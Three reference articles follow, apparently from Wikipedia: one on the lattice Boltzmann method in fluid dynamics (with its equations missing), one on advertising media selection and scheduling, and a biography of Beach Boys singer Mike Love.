Simulating multiphase/multicomponent flows has always been a challenge to conventional CFD because of the moving and deformable interfaces. More fundamentally, the interfaces between different phases (liquid and vapor) or components (e.g., oil and water) originate from the specific interactions among fluid molecules. Therefore, it is difficult to implement such microscopic interactions into the macroscopic Navier–Stokes equation. However, in LBM, the particulate kinetics provides a relatively easy and consistent way to incorporate the underlying microscopic interactions by modifying the collision operator. Several LBM multiphase/multicomponent models have been developed. Here phase separations are generated automatically from the particle dynamics and no special treatment is needed to manipulate the interfaces as in traditional CFD methods. Successful applications of multiphase/multicomponent LBM models can be found in various complex fluid systems, including interface instability, bubble/droplet dynamics, wetting on solid surfaces, interfacial slip, and droplet electrohydrodynamic deformations.
A lattice Boltzmann model for simulation of gas mixture combustion capable of accommodating significant density variations at low-Mach number regime has been recently proposed.
To this respect, it is worth to notice that, since LBM deals with a larger set of fields (as compared to conventional CFD), the simulation of reactive gas mixtures presents some additional challenges in terms of memory demand as far as large detailed combustion mechanisms are concerned. Those issues may be addressed, though, by resorting to systematic model reduction techniques.
Thermal lattice-Boltzmann method
Currently (2009), a thermal lattice-Boltzmann method (TLBM) falls into one of three categories: the multi-speed approach, the passive scalar approach, and the thermal energy distribution.
Derivation of Navier–Stokes equation from discrete LBE
Starting with the discrete lattice Boltzmann equation (also referred to as LBGK equation due to the collision operator used). We first do a 2nd-order Taylor series expansion about the left side of the LBE. This is chosen over a simpler 1st-order Taylor expansion as the discrete LBE cannot be recovered. When doing the 2nd-order Taylor series expansion, the zero derivative term and the first term on the right will cancel, leaving only the first and second derivative terms of the Taylor expansion and the collision operator:
For simplicity, write as . The slightly simplified Taylor series expansion is then as follows, where ":" is the colon product between dyads:
By expanding the particle distribution function into equilibrium and non-equilibrium components and using the Chapman-Enskog expansion, where is the Knudsen number, the Taylor-expanded LBE can be decomposed into different magnitudes of order for the Knudsen number in order to obtain the proper continuum equations:
The equilibrium and non-equilibrium distributions satisfy the following relations to their macroscopic variables (these will be used later, once the particle distributions are in the "correct form" in order to scale from the particle to macroscopic level):
The Chapman-Enskog expansion is then:
By substituting the expanded equilibrium and non-equilibrium into the Taylor expansion and separating into different orders of , the continuum equations are nearly derived.
For order :
For order :
Then, the second equation can be simplified with some algebra and the first equation into the following:
Applying the relations between the particle distribution functions and the macroscopic properties from above, the mass and momentum equations are achieved:
The momentum flux tensor has the following form then:
where is shorthand for the square of the sum of all the components of (i. e. ), and the equilibrium particle distribution with second order to be comparable to the Navier–Stokes equation is:
The equilibrium distribution is only valid for small velocities or small Mach numbers. Inserting the equilibrium distribution back into the flux tensor leads to:
Finally, the Navier–Stokes equation is recovered under the assumption that density variation is small:
This derivation follows the work of Chen and Doolen.
Mathematical equations for simulations
The continuous Boltzmann equation is an evolution equation for a single particle probability distribution function and the internal energy density distribution function (He et al.) are each respectively:
where is related to by
is an external force, is a collision integral, and (also labeled by in literature) is the microscopic velocity. The external force is related to temperature external force by the relation below. A typical test for one's model is the Rayleigh–Bénard convection for .
Macroscopic variables such as density , velocity , and temperature can be calculated as the moments of the density distribution function:
The lattice Boltzmann method discretizes this equation by limiting space to a lattice and the velocity space to a discrete set of microscopic velocities (i. e. ). The microscopic velocities in D2Q9, D3Q15, and D3Q19 for example are given as:
The single-phase discretized Boltzmann equation for mass density and internal energy density are:
The collision operator is often approximated by a BGK collision operator under the condition it also satisfies the conservation laws:
In the collision operator is the discrete, . In D2Q9 and D3Q19, it is shown below for an incompressible flow in continuous and discrete form where D, R, and T are the dimension, universal gas constant, and absolute temperature respectively. The partial derivation for the continuous to discrete form is provided through a simple derivation to second order accuracy.
Letting yields the final result:
As much work has already been done on a single-component flow, the following TLBM will be discussed. The multicomponent/multiphase TLBM is also more intriguing and useful than simply one component. To be in line with current research, define the set of all components of the system (i. e. walls of porous media, multiple fluids/gases, etc.) with elements .
The relaxation parameter,, is related to the kinematic viscosity,, by the following relationship:
The moments of the give the local conserved quantities. The density is given by
and the weighted average velocity, , and the local momentum are given by
In the above equation for the equilibrium velocity , the term is the interaction force between a component and the other components. It is still the subject of much discussion as it is typically a tuning parameter that determines how fluid-fluid, fluid-gas, etc. interact. Frank et al. list current models for this force term. The commonly used derivations are Gunstensen chromodynamic model, Swift's free energy-based approach for both liquid/vapor systems and binary fluids, He's intermolecular interaction-based model, the Inamuro approach, and the Lee and Lin approach.
The following is the general description for as given by several authors.
is the effective mass and is Green's function representing the interparticle interaction with as the neighboring site. Satisfying and where represents repulsive forces. For D2Q9 and D3Q19, this leads to
The effective mass as proposed by Shan and Chen uses the following effective mass for a single-component, multiphase system. The equation of state is also given under the condition of a single component and multiphase.
So far, it appears that and are free constants to tune but once plugged into the system's equation of state(EOS), they must satisfy the thermodynamic relationships at the critical point such that and . For the EOS, is 3.0 for D2Q9 and D3Q19 while it equals 10.0 for D3Q15.
It was later shown by Yuan and Schaefer that the effective mass density needs to be changed to simulate multiphase flow more accurately. They compared the Shan and Chen (SC), Carnahan-Starling (C–S), van der Waals (vdW), Redlich–Kwong (R–K), Redlich–Kwong Soave (RKS), and Peng–Robinson (P–R) EOS. Their results revealed that the SC EOS was insufficient and that C–S, P–R, R–K, and RKS EOS are all more accurate in modeling multiphase flow of a single component.
For the popular isothermal Lattice Boltzmann methods these are the only conserved quantities. Thermal models also conserve energy and therefore have an additional conserved quantity:
Applications
During the last years, the LBM has proven to be a powerful tool for solving problems at different length and time scales.
Some of the applications of LBM include:
Porous Media flows
Biomedical Flows
Earth sciences (Soil filtration).
Energy Sciences (Fuel Cells).
External links
LBM Method
Entropic Lattice Boltzmann Method (ELBM)
dsfd.org: Website of the annual DSFD conference series (1986 -- now) where advances in theory and application of the lattice Boltzmann method are discussed
Website of the annual ICMMES conference on lattice Boltzmann methods and their applications
Further reading
Notes
Computational fluid dynamics
Lattice models
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https://en.wikipedia.org/wiki/Advertising%20media%20selection
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Advertising media selection
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Advertising media selection is the process of choosing the most efficient media for an advertising campaign. To evaluate media efficiency, planners consider a range of factors including: the required coverage and number of exposures in a target audience; the relative cost of the media advertising and the media environment. Media planning may also involve buying media space. Media planners require an intricate understanding of the strengths and weaknesses of each of the main media options. The media industry is dynamic - new advertising media options are constantly emerging. Digital and social media are changing the way that consumers use media and are also influencing how consumers acquire product information.
Types of advertising media
The selection of advertising media for a given campaign requires a deep and rich understanding of the media options available.
Television advertising
Television advertising offers the benefit of reaching large numbers in a single exposure. The reason for having large numbers is that this advertising method can reach the household-level customers. Yet because it is a mass medium capable of being seen by nearly anyone, television lacks the ability to deliver an advertisement to highly targeted customers compared to other media outlets. Television networks are attempting to improve their targeting efforts. In particular, networks operating in the pay-to-access arena, such as those with channels on cable and satellite television, are introducing more narrowly themed programming (i.e., TV shows geared to specific interest groups) designed to appeal to selective audiences. However, television remains an option that is best for products that targeted to a broad market. The geographic scope of television advertising may vary, from local or regional advertising through to national coverage, depending on whether public broadcasting or subscriber-based cable services are used.
Television advertising, once seen as the mainstay of media advertising, is facing numerous challenges from alternative media, especially interactive and social media. Technological innovations, especially the advent of ad blocking and zapping, has eroded TV's immediacy and relevance for some audiences.
Radio advertising
Promotion through radio has been a viable advertising option for over 80 years. Radio advertising is mostly local to the broadcast range of a radio station, however, at least three options exist that offer national and potentially international coverage. First, in many countries there are radio networks that use many geographically distinct stations to broadcast simultaneously. In the United States such networks as Disney (children's programming) and ESPN (sports programming) broadcast nationally either through a group of company-owned stations or through a syndication arrangement (i.e., business agreement) with partner stations. Second, within the last few years the emergence of radio programming delivered via satellite has become an option for national advertising. Finally, the potential for national and international advertising may become more attractive as radio stations allow their signals to be broadcast over the Internet.
In many ways radio suffers the same problems as television, namely, a mass medium that is not highly targeted and offers little opportunity to track responses. But unlike television, radio presents the additional disadvantage of limiting advertisers to audio-only advertising. For some products advertising without visual support is not effective.
Print publications advertising
Print publications such as magazines, books, newspapers and Special Issue publications (such as annuals) offer a variety of advertising opportunities:
Magazines, especially those that target specific niche or specialized interest areas, are more tightly targeted compared to broadcast media. Additionally, magazines offer the option of allowing marketers to present their message using high quality imagery (e.g., full color) and can also offer advertisers the ability to integrate interactive, tactile experiences through the use of scratch-it papers impregnated with scents (e.g., perfume).
Newspapers have also incorporated color advertisements, though their main advantage rests with their ability to target local markets. For advertisers, the ability to insert catalogs or special promotional material into the newspaper is an advantage.
Special Issue publications can offer very selective targeting since these often focus on an extremely narrow topics (e.g., auto buying guide, tour guides, college and university ratings, etc.).
Internet advertising
The fastest growing media outlet for advertising is the Internet. Compared to spending in other media, the rate of spending for Internet advertising is experiencing tremendous growth and in the U.S. trails only newspaper and television advertising in terms of total spending. Internet advertising's influence continues to expand and each year more major marketers shift a larger portion of their promotional budget to this medium. Two key reasons for this shift rest with the Internet's ability to: (1) narrowly target an advertising message and, (2) track user response to the advertiser's message.
The Internet offers many advertising options with messages delivered through websites or by email:
Standard online advertising formats (e.g. Banner ads, interstitials.) - A banner ad is a rectangular advertisement appearing at the top or bottom of a web-page. Banner ads are typically 468 X 60 pixels. An interstitial is an advertisement that interrupts the user. It may be a full page or a pop up window.
Rich media advertisements - ads that incorporate a variety of technology components such as video and audio. Rich media ads are thought to deliver higher impact messages.
Paid search advertising - A method of placing online advertisements on web pages that show results from search engine queries. Through the same search-engine advertising services, ads can also be placed on Web pages with other published content.
Search engine marketing - A form of Internet marketing that involves the promotion of websites by increasing their visibility in search engine results pages (SERPs) primarily through paid advertising. SEM may incorporate search engine optimization (SEO), which adjusts or rewrites website content and site architecture to achieve a higher ranking in search engine results pages to enhance pay per click (PPC) listings.
Online video gaming - An online game is a video game that is either partially or primarily played through the Internet or another computer network. Advertisers can pay to have their messages or products incorporated into the sets of online games.
Paid inclusion - Paid inclusion is a search engine marketing product where the search engine company charges fees related to inclusion of websites in their search index. The use of paid inclusion is controversial and paid inclusion's popularity has decreased over time among search engines.
Email advertising - also known as internet direct marketing. Using email to deliver an advertisement affords marketers the advantage of low distribution cost and potentially high reach. In situations where the marketer possesses a highly targeted list, response rates to email advertisements may be quite high. This is especially true if those on the list have agreed to receive email, a process known as “opt-in” marketing. Email advertisement can take the form of a regular email message or be presented within the context of more detailed content, such as an electronic newsletter. Delivery to a user's email address can be viewed as either plain text or can look more like a website using web coding (i.e., HTML). However, as most people are aware, there is significant downside to email advertising due to highly publicized issues related to abuse (i.e., spam).
Social media advertising - forms of online advertising that focus on social networking services such as Facebook, Twitter, and Instagram.
Online advertising has spawned a range of new segmentation and targeting approaches including Affinity targeting, Behavioral targeting, Contextual targeting and Geographic targeting and Purchase-based category targeting.
Out-of-home media
The use of signs to communicate a marketer's message places advertising in geographically identified areas in order to capture customer attention. The most obvious method of using signs is through billboards, which are generally located in high traffic areas. Outdoor billboards come in many sizes, though the most well-known are large structures located near transportation points intending to attract the interest of people traveling on roads or public transportation. Indoor billboards are often smaller than outdoor billboards and are designed to attract the attention of foot traffic (i.e., those moving past the sign). For example, smaller signage in airports, train terminals and large commercial office space fit this category.
While billboards are the most obvious example of signage advertising, there are many other forms of signage advertising include:
Sky writing where airplanes use special chemicals to form words
Messages placed on hot air balloons or banners carried by small aircraft
Mobile billboards where signs are placed on vehicles, such as buses and cars, taxis or even clapper-boards carried by paid agents
Plastic bags used to protect newspapers delivered to homes
Advertisements attached to grocery carts
Holographic images projected into public spaces
Laser projections onto city buildings
Mobile device advertising
Handheld devices, such as cellphones, smartphones, portable computers and other wireless devices, make up the growing mobile device market. Such devices allow customers to stay informed, gather information and communicate with others without being tied to a physical location. While the mobile device market is only beginning to become a viable advertising medium, it may soon offer significant opportunity for marketers to reach customers at any time and anywhere.
Also, with geographic positioning features included in newer mobile devices, the medium has the potential to provide marketers with the ability to target customers based on their geographic location. Currently, the most popular advertising delivery method to mobile devices is through plain text messaging, however, over the next few years multimedia advertisements are expected to become the dominant message format.
Word of Mouth
Promotion of products can also happen through verbal communication between people.
Audience research
Selecting the optimal media vehicles for a given campaign requires detailed research and analysis. Media planners need to match their target market with media audiences. Identifying the audience for a magazine or newspaper, or determining who watches television at a given time, is a specialized form of market research, often conducted on behalf of media owners.
Measures of media audience that are of especial interest to advertisers include:
Print Media
Circulation: the number of copies of an issue sold (independently assessed via a circulation audit)
Readership: the total number of people who have seen or looked into a current edition of the a publication (independently measured via survey)
Readership profiles: Demographic/ psychographic and behavioural analysis of readership (sourced from Readership surveys)
Broadcast Media
Average audience: The average number of people who tuned into the given time or given program, expressed in thousands or as a percentage. Also known as a Rating or T.A.R.P (Total Audience Rating Point).
Audience share: The number of listeners (or viewers) for a given channel over a given time period, expressed as a percentage of the total audience potential for the total market. (The audience share is normally calculated by dividing a given channel's average audience by the average audience of all channels).
Audience potential: The total number of people in a given geographical area who conform to a specific definition, such as the number of people with a television (or radio) set or the total number of people aged 6–12 years. Population potentials are normally derived from the census figures and are used to estimate the potential market reach.
Audience movement by session: The number of listeners (or viewers) who switch channels during a given time period.
Audience profile: Analysis of audience by selected demographic, psychographic or behavioural variables.
Cumulative audience (CUME): The number of different listeners (or viewers) in a given time period; also known as reach.
People Using Television (PUT): The number of people (or households) tuned to any channel during a given time period.
Out-of-home media
Opportunities to see (OTS) - a crude measure of the number of people who were exposed to the medium, For example, the number of cars that drive past an outdoor billboard in a given time period
Internet and digital media
Site traffic: The number of visitors to a website within a given time period (e.g. a month)
Unique visitors: The number of different visitors to a website within a given time period
Site stickiness: The average length of time a person remains on a page (a measure of audience engagement)
Average page views per visit: The number of different pages generated by a visitor to a site (a measure of engagement)
Click through rate (CTR): The number of people who clicked on an advertisement or advertising link
Cost per click (CPS): The average cost of generating one click through
Rate of return visitors: The number of unique visitors who return to a site
Bounce rate: Number of site visitors who leave the site within a predetermined time (seconds)
Although much of the audience research data is normally only available to subscribers and prospective advertisers, basic information is published for the general public, often as topline survey findings. The type and depth of freely available information varies across geographic markets. Audience research for broadcast media is provided to prospective advertisers via the networks or via a media buying group. A limited amount of basic audience data is available to the general public through statutory authorities or media organisations.
Notes: Also see Nielsen Media, for Trends in Canadian TV Viewing
Advertising media scheduling
Scheduling refers to the pattern of advertising timing, represented as plots on a calendar-type flowchart (as shown in the figure), typically for one year, but may be for a specific campaign of shorter duration. A media schedule typically contains specific detail including the media channels used, ... specifies insertion or broadcast dates, positions, and duration of the messages." These plots indicate the pattern of scheduled times advertising must appear to coincide with favorable selling periods. The classic scheduling models are: Blitzing; Continuity, Flighting and Pulsing.
A major consideration in constructing media schedules is timing. The advertiser's main aim should be to place the advertisement as close as practical to the point where consumers make their purchase decision. For example, an advertiser who knows that a grocery buyer does a main shop on Saturday afternoons and a top-up shop on Wednesday nights, may consider using radio spots to reach the shopper while he or she is driving to the supermarket.
The broad approaches to scheduling are:
Blitzing
Blitzing consists of one concentrated burst of advertising normally during the initial period of the planning horizon. Blitzing is more likely to be used by new products attempting to penetrate the market or by dominant brands in competitive markets.
Continuity
Continuity is a pattern of relatively constant levels throughout a given time period or campaign. This approach is primarily for staple, perishable products (i.e. non-seasonal products). Advertising runs steadily with little variation over the campaign period. There may be short gaps at regular intervals and also long gaps—for instance, one ad every week for 52 weeks, and then a pause. This pattern of advertising is prevalent in service and packaged goods that require continuous reinforcement on the audience for top of mind recollection at point of purchase.
Advantages:
Works as a reminder
Covers the entire purchase cycle
Cost efficiencies in the form of large media discounts
Positioning advantages within media
Program or plan that identifies the media channels used in an advertising campaign, and specifies insertion or broadcast dates, positions, and duration of the messages.
Flighting (or "bursting")
In media scheduling for seasonal product categories, flighting involves intermittent and irregular periods of advertising (flights), alternating with shorter periods (hiatuses) of no advertising at all. The main advantage of the flighting technique is that it allows an advertiser who does not have funds for running spots continuously to conserve money and maximize the effect of the commercials by airing them at key strategic times. Advertisers may employ less costly media such as radio or newspaper during a television flighting hiatus. This method of media planning allows the messages and themes of the advertising campaign to continue to reach consumers while conserving advertising funds.
Advantages:
Advertisers buy heavier weight than competitors for a relatively shorter period of time
Little waste, since advertising concentrates on the best purchasing cycle period
Series of commercials appear as a unified campaign on different media vehicles
Pulsing
Pulsing combines flighting and continuous scheduling by using a low levels advertising of continuous advertising, followed by intermittent bursts of more intense advertising at predetermined times such as holidays, peak seasons. Product categories that are sold year round but experience a surge in sales at intermittent periods are good candidates for pulsing. For instance, under-arm deodorants, sell all year, but more in summer months. Pulsing is also used by market challengers who want to create an impression of a larger advertising budget.
Empirical support for the effectiveness of pulsing is relatively weak. However, research suggests that continuous schedules and flighted schedules generally result in strong levels of consumer recall.
Advantages:
Useful for use with seasonal products e.g. travel or products sold intermittently e.g.heating and cooling systems
Can be used by market challengers to give the impression of a higher share of voice
Combined the advantages of both continuity and flighting possible
Is a less expensive option than a continuous schedule
Media buying
Also see Media buying
While some advertisers prefer to purchase advertising spots by dealing directly with media owners (e.g. newspapers, magazines or broadcast networks), in practice most media buying is purchased as part of broader negotiations via a media buying agency or media buying group. Well-known centralised buying groups include Zenith or Optimedia. These large media agencies are able to exert market power through volume purchasing by buying up space for an entire year. Media agencies benefit advertisers by providing advertising units at lower rates and also through the provision of added value services such as media planning services.
Most media outlets use dynamic pricing, a form of yield management which means that there are no fixed rates. Prices depend on a number of factors including - the advertiser's prior relationship with the network, the volume of inventory being purchased, the timing of the booking and whether the advertiser is using cross-media promotions such as product placements. Advertising spots purchased closer to air-time tend to be more expensive.
Buying advertising spots on national TV is very expensive. Given that most media outlets use dynamic pricing, rates vary from day to day, creating difficulties locating indicative rates. However, from time to time, trade magazines publish adrates which may be used as a general guide. The following table provides indicative advertising rates for selected popular programs on American national television networks, broadcast during prime time viewing hours.
Notes:
* Rates for programs such as American Idol increase as the program moves closer to finals
** Rates for Mon-Fri programs such as Jay Leno vary depending on the day of the week and the expected audience size
See also
References
Further reading
David Ogilvy, Ogilvy on Advertising, Pan Books, 1983
D. Mercer, ‘Marketing’ (Blackwell, 1996)
Sissors, Jack Zanville, and Roger B. Baron, Advertising Media Planning, 6th ed., McGraw-Hill, 2002.
Advertising
Advertising techniques
Promotion and marketing communications
Marketing techniques
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https://en.wikipedia.org/wiki/Mike%20Love
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Mike Love
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Michael Edward Love (born March 15, 1941) is an American singer and songwriter who co-founded the Beach Boys with his cousins Brian, Dennis, and Carl Wilson and their friend Al Jardine. Characterized by his nasal tenor and occasional bass-baritone singing, Love has been one of the band's vocalists and lyricists for their entire career, contributing to each of their studio albums and serving as their frontman for live performances. During the mid-1960s, he was one of Brian's main collaborators, contributing lyrics to hit records such as "Fun, Fun, Fun" (1964), "I Get Around" (1964), "Help Me, Rhonda" (1965), "California Girls" (1965), and "Good Vibrations" (1966).
Drawing inspiration from Chuck Berry and Felice and Boudleaux Bryant, Love's lyrics primarily reflected the youth culture of surfing, cars, and romance, which helped fashion pop culture's perception of the "California Dream". Love also had a significant role in the Beach Boys' vocal arrangements – particularly the doo-wop element in their sound. Starting in 1968, Love was a student of Transcendental Meditation (TM) under Maharishi Mahesh Yogi, and became a TM teacher in 1971. The experience influenced his lyrics to take on themes of astrology, meditation, politics and ecology. In the late 1970s, Love fronted Celebration, a short-lived band that consisted of Beach Boys touring musicians, and began working on solo albums, releasing his first in 1981, Looking Back with Love.
Love is often vilified by fans and critics due to his history of conflicts with his bandmates, a characterization he has disputed. Many of his contributions to the group's hits were not officially recognized until the 1990s, when he sued Brian for writing credits on 35 songs. Love remains uncredited for another 44 Beach Boys songs he claims to have co-written. Following Carl Wilson's death in 1998, the band members and their corporation, Brother Records, Inc., granted Love an exclusive license to tour under the Beach Boys' name. Since then, Love has maintained a near-constant touring regimen with his edition of the group, and has released three more solo albums. He has not performed with Brian since their 2012 reunion tour.
Love's honors include an induction into the Rock and Roll Hall of Fame as a member of the Beach Boys in 1988. Beyond music, he has taken part in projects to promote international charities related to such subjects as environmentalism, juvenile diabetes, and music education.
Background
Michael Edward Love's mother, Emily (known as "Glee") Wilson (1919〜79), was the sister of Mary and Murry Wilson, a resident of Los Angeles since the early 1920s. Glee married Edward Milton Love (1918〜2013), the son of the founder of the Love Sheet Metal Company, in 1938. Mike Love, the first of their six children, was born in the Baldwin Hills district of Los Angeles in 1941. Thereafter the family moved to the upmarket View Park area. He attended Dorsey High School and graduated in 1959. Unsure of a career direction, Love pumped gas and briefly joined his father's company, whose fortunes dramatically declined in the late 1950s. Both Milt and Glee Love were active in sports, and Love's younger brother Stan Love later played in the National Basketball Association. Glee had a distinct interest in painting and the arts. Like her brother, Murry, however, she was also strong-willed and, according to her husband, a dominant personality. The family was close-knit and regularly socialized with Murry and his family. Murry was a part-time songwriter.
Love often sang at family get-togethers at his cousins, the Wilsons', home in nearby Hawthorne, especially at Christmas. It was here, under the vocal harmony guidance of Brian Wilson, that the Beach Boys sound was established, predominantly influenced by Brian's devotion to the Four Freshmen's arrangements. Musical accompaniment during this formative phase was solely Brian's self-taught piano, but this was quickly expanded by the guitar contributions of Brian's college friend Al Jardine (whose fundamental interest was folk music) and Carl Wilson (whose idol was Chuck Berry). With the failure of Love Sheet Metal, the family was forced to move to a modest two-bedroom house in Inglewood, closer to the Wilsons.
Career
Formation of the Beach Boys
Love played rudimentary saxophone in the first years of the fledgling garage band that evolved from the Pendletones to the Beach Boys. He also established himself, along with neighbor Gary Usher, local DJ Roger Christian, and others, as a collaborator with Brian Wilson in the band's original compositions. To help write many of the Beach Boys songs, Love drew inspiration from the lyrics of Chuck Berry along with Felice and Boudleaux Bryant, who wrote many of the Everly Brothers' songs including "Devoted to You" and "All I Have to Do is Dream". He explained, "They were both the fun, descriptive pictorial vignettes as well as the more sweet, romantic and devotional lyrics. ... Even before that and more fundamental than that, I was always into poetry."
Carl Wilson commented that, "It's not widely known, but Michael had a hand in a lot of the arrangements. He would bring out the funkier approaches, whether to go shoo-boo-bop or bom-bom-did-di-did-did. It makes a big difference, because it can change the whole rhythm, the whole color and tone of it." He also credited Love, an avid fan of doo-wop combos, with influencing Brian to listen to black R&B records. Writer Geoffrey Himes claimed that without "Mike's R&B influence ... Brian couldn't have possibly become 'Brian Wilson.'"
Stylistic shifts and creative disputes
In early 1964, Brian Wilson shifted the Beach Boys away from beach-themed music. That November, Love told a Melody Maker reporter that he and his bandmates wanted to look beyond surf music and avoid living in the past or resting on the band's laurels. He is also credited with naming their album Pet Sounds (1966). Asked for his favorite Beach Boys album in a 1994 interview, Love responded, "I guess Pet Sounds ... because of the orchestrations and arrangement. Because it's not just about cars or girls or school, but it's about feelings."
Conversely, Love has also been reported as resisting the group's new direction. In the description of music journalist Erik Hedegaard, Love gathered a reputation as "one of the biggest assholes in the history of rock & roll" due to such accusations. Love commented in a 2007 interview,
Similarly, Love dismissed most of the reported claims about his reservations with the Smile album: "I never said anything bad about any of the tracks. I admit to wanting to make a commercially successful pop record, so I might have complained about some of the lyrics on Smile". In 1970, Love stated in Pop Chronicles that Smile was "good stuff" and "a fantastically-produced album", adding that "it'll come out, eventually." Brian said that the collapse of Smile was not due to Love's opposition to the lyrics. However, Van Dyke Parks, the album's lyricist, blamed Love with putting "a stop" on the album. In a 1971 Rolling Stone article, business associate David Anderle quoted Love saying, "Don't fuck with the formula". Over the ensuing years, the quote was repeated in myriad books, articles, websites, and blogs. Anderle later said that his statement about "the formula" had been misinterpreted. Love returned to co-writing with Brian for the Beach Boys' December 1967 album Wild Honey, the group's first foray into R&B.
Love stated in 1978 that the group's unhappiness with Capitol's promotional efforts had led them to change record companies in the late 1960s. "They promoted us very well for the first four or five years, then they failed ... in promoting the change, which would have been very commercially sensible on their part, but they didn't ever do it. In '68 or '69, they were still promoting us as the number one surfing group in the USA. How relevant was that after 'Good Vibrations', Pet Sounds, Smiley Smile or Vietnam and everything else?" In his 2016 memoir, he wrote that, unlike Brian, he was never concerned about being taken seriously by critics, and felt that detractors of their early songs showed "elitism at its worst: because so many people loved our music, there must be something wrong with it."
Rishikesh and Transcendental Meditation
In late 1967, Love became one of the many rock musicians who discovered the teachings of Maharishi Mahesh Yogi following the Beatles' public endorsement of his Transcendental Meditation (TM) technique in August 1967. In December, Love and his bandmates attended a lecture by the Maharishi at a UNICEF Variety Gala in Paris, and were moved by the simplicity and effectiveness of his meditation process as a means to obtaining inner peace. In January 1968, the Beach Boys attended the Maharishi's public appearances in New York and Cambridge, Massachusetts, after which he invited Love to join the Beatles at his training seminar in Rishikesh in northern India. Love stayed there from February 28 to March 15. He later claimed to help Paul McCartney with the lyrics of "Back in the U.S.S.R.", recorded for the Beatles' White Album (1968).
While in Rishikesh, Love planned a U.S. concert tour that would feature the Beach Boys and the Maharishi as co-headliners. The tour begun in May 1968 ended abruptly after five shows due to the disappointing audience numbers and the Maharishi's subsequent withdrawal to fulfill film contracts. In his 2016 autobiography, Love wrote: "I take responsibility for an idea that didn't work. But I don't regret it. I thought I could do some good for people who were lost, confused, or troubled, particularly those who were young and idealistic but also vulnerable, and I thought that was true for a whole bunch of us." Despite the ignominy of the tour, the Beach Boys remained ardent supporters of the Maharishi and TM. Love became a TM initiator in 1972 and later progressed to more advanced levels such as the TM-Sidhi Course.
Other work, "Kokomo", and credits lawsuit
Throughout the 1970s and 1980s, Love wrote the words and music of several Beach Boys songs, including "Big Sur" (1973), "Everyone's in Love with You" (1976) and "Sumahama" (1978). In 1978, he co-founded the band Celebration, which achieved the U.S. Top 30 hit single "Almost Summer" (co-written with Brian Wilson and Jardine). In 1981, he released his first solo album, Looking Back with Love (1981), with production by Curt Boettcher.
In 1988, the Beach Boys had a U.S. number 1 hit with "Kokomo", the only number 1 the band achieved without Brian's involvement. Love (along with "Kokomo" co-writers Scott McKenzie, Terry Melcher, and John Phillips) was nominated for a Golden Globe Award (1988) in the Original Song category, and was nominated for a Grammy Award, for "Kokomo". Also in 1988, Love was inducted into the Rock and Roll Hall of Fame along with the other founding members of the Beach Boys. At the induction ceremony Love delivered a hostile speech, criticizing McCartney, Bruce Springsteen, Billy Joel, and Mick Jagger. When asked in 2016 if he regretted anything about the night, Love said, "Yeah, I regret that I didn't meditate [earlier that day]."
In 1992, Love, along with Jardine and several Wilson family members, sued Brian for defamation regarding claims made in his 1991 memoir Wouldn't It Be Nice: My Own Story. The case was settled out of court by publisher HarperCollins, who awarded Love $1.5 million. It was the first of numerous lawsuits that Love would file against Brian. Two years later, Love won a legal proceeding to establish what he considered to be proper authorship credit for many of the Beach Boys songs he co-wrote. Love successfully argued that Murry Wilson avoided crediting him with his early lyrical contributions to Brian's songs, denying Love accrued royalties. He later called it "almost certainly the largest case of fraud in music history".
Later years
After the death of Carl Wilson in 1998, Love continued to tour with the Beach Boys, along with Bruce Johnston and a supporting band of new musicians, occasionally including actor John Stamos. He leased exclusive rights to tour under the Beach Boys name in a boardroom settlement with Brother Records, the Beach Boys' company. However, former bandmate Jardine had been touring under the banners "Beach Boys Family & Friends", "Al Jardine, Beach Boy" and "Al Jardine of the Beach Boys" during this time and Love decided to sue him in order to prevent the use of the name. In the lawsuit the courts ruled in Love's favor, denying Jardine the use of the Beach Boys name in any fashion. Jardine proceeded to appeal this decision in addition to seeking $4 million in damages. The California Court of Appeal proceeded to rule that, "Love acted wrongfully in freezing Jardine out of touring under the Beach Boys name", allowing Jardine to continue with his lawsuit. The case ended up being settled outside of court with the terms not disclosed.
In 2000, ABC premiered a two-part television miniseries, The Beach Boys: An American Family, that dramatized the Beach Boys' story. It was produced by Stamos and was criticized for historical inaccuracies. Love was an advisor to the film. Some critics accused him of having the film overstate his role in the group and portray negative depictions of Brian and Smile collaborator Van Dyke Parks.
On November 3, 2005, Love sued Brian and the British newspaper The Mail On Sunday because the Beach Boys' name and Love's image were used in a promotional CD that was given free with the paper to promote the 2004 Brian Wilson presents Smile release. Love argued that the unauthorized (by Brother Records Inc.) free CD resulted in loss of income for the band. Wilson's wife Melinda alleged that, during the deposition, Love turned to Wilson and remarked, "you better start writing a real big hit because you're going to have to write me a real big check." The lawsuit was dismissed on May 16, 2007, on the grounds that it was without merit.
In 2011, Love reunited with Brian, Jardine, Johnston and David Marks for a new Beach Boys album and 50th anniversary tour beginning in 2012. In September 2012, Love and Johnston announced via a press release that following the end of the reunion tour the Beach Boys would revert to the Love/Johnston lineup, without Brian, Jardine or Marks, all of whom expressed surprise. Although such dates were noted in a late June issue of Rolling Stone, it was widely reported that the three had been "fired".
Love's autobiography, Good Vibrations: My Life as a Beach Boy, was published on September 13, 2016. He wrote the book as a response to "many inaccuracies" that had been said about him over the decades. It was published one month before the release of Brian's autobiography, I Am Brian Wilson: A Memoir. When asked about the book's negative comments toward him, Love responded: "He's not in charge of his life, like I am mine. His every move is orchestrated and a lot of things he's purported to say, there's not tape of it." As of November 2016, Love claims that he has not read Brian's book.
On November 17, 2017, Love released his second solo album Unleash the Love. On October 26, 2018, Love released his third solo album, Reason for the Season, featuring traditional and original Christmas music. Love's fourth album 12 Sides Of Summer was released on July 19, 2019. The album Mike Love Not War followed in 2023.
Personal life
Marriages and family
Love has been married to Jacquelyne Piesen since 1994 and has eight children: two with Piesen and six from his four previous marriages. As of 2015, he resides in Incline Village, Nevada on the northern shore of Lake Tahoe. Love is a vegetarian who practices and teaches TM, wears Indian Ayurveda rings, and partakes in traditional Hindu ceremonies.
In addition to being a cousin of the Wilson brothers, Love is the brother of former NBA basketball player Stan Love, and Pink Martini harpist Maureen Love, and the uncle of Miami Heat basketball player Kevin Love. Shawn Marie Love, a woman who was engaged to Dennis Wilson in his final days alleged to be Love's daughter, an accusation that Love denied.
Political views
Love describes himself as a progressive, although a photographed handshake between him and Ronald Reagan in the 1980s led many to label him as a conservative. Notwithstanding the friendly relationship between the Beach Boys and George H. W. Bush for many years, in 1992 the band raised money for the TM-backed Natural Law Party. At the time, Love announced he was switching his support from Bush to NLP candidate John Hagelin.
